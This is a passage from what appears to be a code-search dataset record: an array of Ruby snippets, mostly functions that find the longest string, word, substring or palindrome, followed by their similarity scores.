longest_string(list)\n\tlongest = list.first\n\tlist.each do |current_str|\n\t\tif current_str.length > longest.length\n\t\t\tlongest = current_str\n\t\tend\n\tend\n\n\tlongest\nend", "def longest_length(validwords)\n validwords = validwords.sort_by(&:length).reverse\n validwords[0].length\nend", "def longest_string(strings)\r\n#+++solution+++\r\n strings.inject('') { | best, this | (best.length < this.length) ? this : best }\r\n#---solution---\r\nend", "def longest(str)\n count = 0\n str.split(\" \").each {|word| count = word.length if word.length > count}\n p count\nend", "def length_of_longest_substring(target_string)\n return 0 if target_string.length < 1\n max_so_far = 0\n index_hash = {}\n left_pointer = 0\n right_pointer = 0\n target_string.each_char.with_index do |ch, index|\n last_index_seen = index_hash[ch]\n if last_index_seen && last_index_seen.between?(left_pointer, right_pointer)\n sub_length = right_pointer - left_pointer + 1\n max_so_far = [max_so_far, sub_length].max\n left_pointer = last_index_seen + 1\n end\n right_pointer = index\n index_hash[ch] = right_pointer\n end\n last_fragment = target_string[left_pointer..right_pointer]\n has_repeats?(last_fragment) ? max_so_far : [last_fragment.length, max_so_far].max\nend", "def longest_string(list_of_words)\n if list_of_words.size != 0\n longest_str = list_of_words.max_by{|a| a.size}\n return longest_str\n else\n end\nend", "def find_longest(arr)\n arr.max_by { |x| x.to_s.length }\nend", "def longest_string(list_of_words)\n # length = list_of_words.length\n if list_of_words == []\n return nil\n else\n return list_of_words.max_by { |x| x.length }\n end\nend", "def linear_longest_word(arr)\n max_length=0\n max_str=arr[0]\n arr.each do |str| \n curr_length=str.length\n if curr_length>max_length\n max_length=curr_length\n max_str=str\n end\n end\n max_str\nend", "def LongestString(array)\n\tlongest_string = ''\n\tarray.each do |string|\n\t\tif string.length > longest_string.length\n\t\t\tlongest_string = string\n\t\tend\n\tend\n\treturn longest_string.length\nend", "def longest_streak str \n str.split('L').max.length\nend", "def longest_string(list_of_words)\n long_string = list_of_words[0]\n list_of_words.each do |measure|\n if long_string.size < measure.size\n long_string = measure\n end\n\n end\n p long_string\nend", "def longest_string(list_of_words)\n longest = list_of_words[0]\n list_of_words.each do |x|\n if x.length >= longest.length\n longest = x\n end\n end\n if list_of_words.empty?\n return nil\n end\nreturn longest\nend", "def longest(str)\n \n alphabet_substr = find_substr(str).select do |substr|\n substr.chars == substr.chars.sort\n end\n alphabet_substr.sort_by! { |str| str.length }\n\n longest = alphabet_substr.select { |str| str.length == alphabet_substr.last.length }\n longest.shift\nend", "def longest_palindrome(str)\n result = [0, \"\"]\n for i in (0..str.length - 1)\n p1 = expand(str, i, i) \n result = result[0] > p1.length ? result : [p1.length, p1]\n p2 = expand(str, i, i + 1) \n result = result[0] > p2.length ? result : [p2.length, p2]\n end\n result[1]\nend", "def longest_palindrome(str)\n return 0 if str.empty?\n\n arr = str.chars\n substrings = []\n length = 1\n loop do\n arr.each_cons(length) { |set| substrings << set }\n length += 1\n break if length > arr.length\n end\n substrings.select { |set| set == set.reverse }.max_by(&:length).length\n p substrings\nend", "def longest_word(sen)\n tmp_arr = sen.split(\" \")\n tmp_longest = 0\n tmp_arr.each do |i|\n tmp_longest = i.size if i.size > tmp_longest\n end\n\n tmp_arr.select { |i| i.size == tmp_longest }.first\nend", "def longest_string(list_of_words)\n if list_of_words == []\n p nil\n else\n words_and_lengths = {}\n list_of_words.each do |word|\n words_and_lengths[word.length] = word\n end\n p words_and_lengths\n longest_length = list_of_words[0].length\n words_and_lengths.each do|length, word|\n if length > longest_length\n longest_length = length\n end\n end\n p words_and_lengths[longest_length]\n end\nend", "def length_alone\n @ends_of_kmers_of_node.length\n end", "def longest_string(list_of_words)\n\tif list_of_words==[]\n\t\tnil\n\telse\n\t\tlist_of_words.max_by {|x| x.length}\n\tend\nend", "def find_longest_word(string)\n array = string.split(\" \")\n p array\n array.max_by(&:length) \nend", "def strlen(key)\n node_for(key).strlen(key)\n end", "def longest_string(list_of_words)\n initial = list_of_words.kind_of?(Array) && list_of_words[0] != nil ? '' : nil\n\nreturn initial if initial == nil\n\nfor i in 0...list_of_words.length\n curr_val = list_of_words[i] if list_of_words[i].instance_of? String\n puts list_of_words[i].length\n initial = curr_val if i == 0 || initial.length < curr_val.length\nend\n\ninitial\nend", "def length\n (lines.max_by(&:length) || '').size\n end", "def longest_length(my_strings)\n\n if my_strings.length == 0\n return nil\n else\n # initialize longest\n longest_string = \"\"\n array = []\n\n #iterate through my_strings\n my_strings.each do |string|\n if string.length >= longest_string.length\n longest_string = string\n array << string\n end\n end\n\n end\n return longest_string\n\nend", "def longest_in_list list #:nodoc:\n longest = list.inject(0) do |memo,word|\n memo >= word.length ? memo : word.length\n end \n longest\n end", "def longest_in_list list #:nodoc:\n longest = list.inject(0) do |memo,word|\n memo >= word.length ? memo : word.length\n end \n longest\n end", "def longest_string(list_of_words)\n\tif list_of_words == []\n\t\treturn nil\n\telsif list_of_words == [\" \"]\n\t\treturn \" \"\n\telse\n\t\tstring_length = []\n\t\tlist_of_words.each do |string|\n\t\t\t string_length.push string.length\n\t\tend\n\t\tlist_of_words.each do |string|\n\t\t\tif string_length.max == string.length\n\t\t\t\treturn string\n\t\t\tend\n\t\tend\n\n\tend\n\nend", "def calculateLongestTotal\n\t\t@longestTotalLength = 0\n\t\t@categoryData.each_value do |value| \n\t\t\tif @longestTotalLength < value.getTotal.to_s.length\n\t\t\t\t@longestTotalLength = value.getTotal.to_s.length\n\t\t\tend\n\t\tend\n\tend", "def longest_string(list_of_words)\n i=0\n long_string=list_of_words[0]\n list_of_words.each do\n if list_of_words[i].length>long_string.length\n long_string=list_of_words[i]\n end\n i+=1\n end\n return long_string\nend", "def find_longest(arr)\n arr.map(&:to_s).sort_by(&:length).find { |num| num.length == arr.map(&:to_s).sort_by(&:length).last.length }.to_i\nend", "def length_of_longest_substring(str)\n arr = str.chars\n lengths = []\n sub_str = []\n arr.each do |letter|\n\n if sub_str.include?(letter)\n lengths << sub_str.length\n idx = sub_str.index(letter)\n sub_str = sub_str[idx + 1..-1]\n end\n sub_str << letter \n end\n lengths << sub_str.length\n lengths.max\nend", "def length_in_long_words\n return @bits.attr_length\n end", "def length_of_longest_substring_2(s)\r\n return 0 if s == \"\"\r\n result = 0\r\n chars = s.chars\r\n hash = Hash.new\r\n left, right = 0, 0\r\n hash[chars[right]] = right\r\n hash[chars[left]] = left\r\n\r\n while right < chars.size\r\n result = [right - left + 1, result].max\r\n\r\n if hash.has_key?(chars[right + 1]) && left != right\r\n # Process the window\r\n hash.delete(chars[left])\r\n left += 1\r\n elsif !hash.has_key?(chars[right + 1])\r\n # Expand the window\r\n right += 1\r\n else\r\n # Move the window\r\n right += 1\r\n left += 1\r\n end\r\n\r\n # Update hash\r\n hash[chars[right]] = right\r\n hash[chars[left]] = left\r\n end\r\n\r\n result\r\nend", "def longest_in_list list #:nodoc:\n raise ArgumentError, \"rdialog.rb: longest_in_list recvd nil list\" unless list\n longest = list.inject(0) do |memo,word|\n memo >= word.length ? memo : word.length\n end \n longest\nend", "def length\n @node[\"length\"]\n end", "def longest_string(my_strings)\n longest = \"\"\n my_strings.each do |i|\n if(longest.length<i.length)\n longest =i\n end\n end\n return longest\n end", "def longest_string(list)\n longest_so_far = list.first\n list.each do |item|\n if longest_so_far.length < item.length\n longest_so_far = item\n end\n end\n longest_so_far\nend", "def get_length(str)\n @str.length.to_i\n end", "def max_word_length(words)\n max_length = 0\n words.each do |word|\n word_length = word.entry.length\n max_length = word_length if max_length < word_length\n end\n max_length\nend", "def longest_valid_parentheses(s)\n stack, max_len = [-1], 0\n \n s.size.times do |i|\n top = stack.last\n if top != -1 && s[top] == '(' && s[i] == ')'\n stack.pop\n max_len = [max_len, i - stack.last ].max\n else\n stack << i\n end\n end\n \n max_len\nend", "def longest_string(list_of_words)\n longest = nil\n list_of_words.each do |words|\n if longest.nil? || longest.length < words.length\n longest = words\n end\n end\nlongest\nend", "def find_longest(arr)\n x = arr.map(&:to_s).sort_by { |x| x.length }.last.chars.length\n arr.map(&:to_s).find { |num| num.length == x }.to_i\nend", "def longest(array)\n return array.max\nend", "def longest_string(list_of_words)\n\tif list_of_words.length == 0\n\t\treturn nil\n\tend\n\ti = list_of_words[0]\n\tj = 1\n\twhile j <= list_of_words.length - 1 do\n\t\tif i.length < list_of_words[j].length\n\t\t\ti = list_of_words[j]\n\t\tend\n\t\tj = j + 1\n\tend\n\treturn i\nend", "def longest_bigram(str)\n\tbigram_hash = Hash.new\n bigram_str = str.split(\" \")\n bigram_str.each_with_index do |word, i|\n if i == bigram_str.length - 1\n next\n else\n bigram_hash[word + \" \" + bigram_str[i + 1]] = (word + \" \" + bigram_str[i + 1]).length\n end\n end\n temp_str = \"\"\n temp_str_length = 0\n bigram_hash.keys.each do |compound|\n if compound.length > temp_str_length\n temp_str = compound\n temp_str_length = compound.length\n end\n end\n p temp_str\nend", "def word_lengths(str)\nend", "def longest_string(list_of_words)\n index = 0\n counter = 1\n if list_of_words == []\n return nil\n end\n until counter == list_of_words.length\n if list_of_words[index].length > list_of_words[counter].length\n counter += 1\n else\n index = counter\n counter += 1\n end\n end\n return list_of_words[index]\nend", "def longest_palindrome s\n return 0 if s.empty?\n (s.length).downto(1).each do | i |\n s.split(\"\").each_cons(i).map do |c|\n return c.count if c == c.reverse\n end\n end\nend", "def longest_palindrome(str)\n \nend", "def longest_string(list_of_words)\n # Your code goes here!\n\n return list_of_words.max_by {|word| word.length}\n\n # max = nil\n #\n # if list_of_words == []\n # return max\n # else\n # max = list_of_words[0]\n # for i in 0...list_of_words.length\n # if list_of_words[i].length > max.length\n # max = list_of_words[i]\n # end\n # end\n # end\n #\n # return max\nend", "def longest_string(list_of_words)\n # Your code goes here!\n longest = list_of_words[0]\n\n list_of_words.each { |word| \n if word.length > longest.length\n longest = word\n end\n }\n\n return longest\nend", "def length(str)\n g_unpack(str).length\n end", "def longest_integer_length\n longest_integer.to_s.size\n end", "def clever_octopus(arr)\n longest = \"\"\n arr.each do |el|\n longest = el if el.length > longest.length\n end\n longest\nend", "def maxStringLength\n\t\tweight = @dictionaries.inject(1) { |x, d| x * d.length }\n\t\tbits = (Math.log(weight)/Math.log(2)).floor\n\t\tchars = bits/4\n\tend", "def longest_string(array)\n array.map{|x, v| v = x.size;x}.sort.last\n\nend", "def longest_string(list_of_words)\n list_of_word = list_of_words.sort_by { |x| x.length }\n return list_of_word[-1]\nend", "def longest_palindrome(str)\n\nend" ]
[ "0.7383232", "0.7254043", "0.71928215", "0.7162197", "0.70681995", "0.6968198", "0.6892347", "0.6880295", "0.68238384", "0.6734872", "0.67140096", "0.6706588", "0.67043746", "0.66891026", "0.6689079", "0.65879536", "0.6586231", "0.6578444", "0.6574343", "0.65297693", "0.6525831", "0.65123284", "0.6497382", "0.6492601", "0.64514893", "0.6434242", "0.6421988", "0.63982534", "0.63743377", "0.6366879", "0.63219595", "0.63207775", "0.63090366", "0.6306503", "0.62908137", "0.62515223", "0.6251125", "0.6240151", "0.6233957", "0.62243813", "0.6188037", "0.6177401", "0.6173289", "0.61708033", "0.61614245", "0.61608154", "0.6144371", "0.6127506", "0.61232513", "0.61168295", "0.610676", "0.6102116", "0.60946333", "0.6076229", "0.6075294", "0.6074275", "0.60622966", "0.6061637", "0.6059429", "0.6057316", "0.6054499", "0.60466874", "0.60328496", "0.6020558", "0.6016629", "0.6012227", "0.6007658", "0.6007658", "0.5974095", "0.5970413", "0.5959299", "0.5943739", "0.5942291", "0.5940517", "0.5928493", "0.5925695", "0.59231216", "0.59015894", "0.5901538", "0.58922243", "0.58861625", "0.5880105", "0.5876109", "0.58706653", "0.5869892", "0.5863635", "0.5862996", "0.58544964", "0.5839893", "0.5833543", "0.5831006", "0.5830898", "0.5816998", "0.58124393", "0.58104575", "0.5809362", "0.58061767", "0.580351", "0.5798176", "0.57979393" ]
0.6904298
6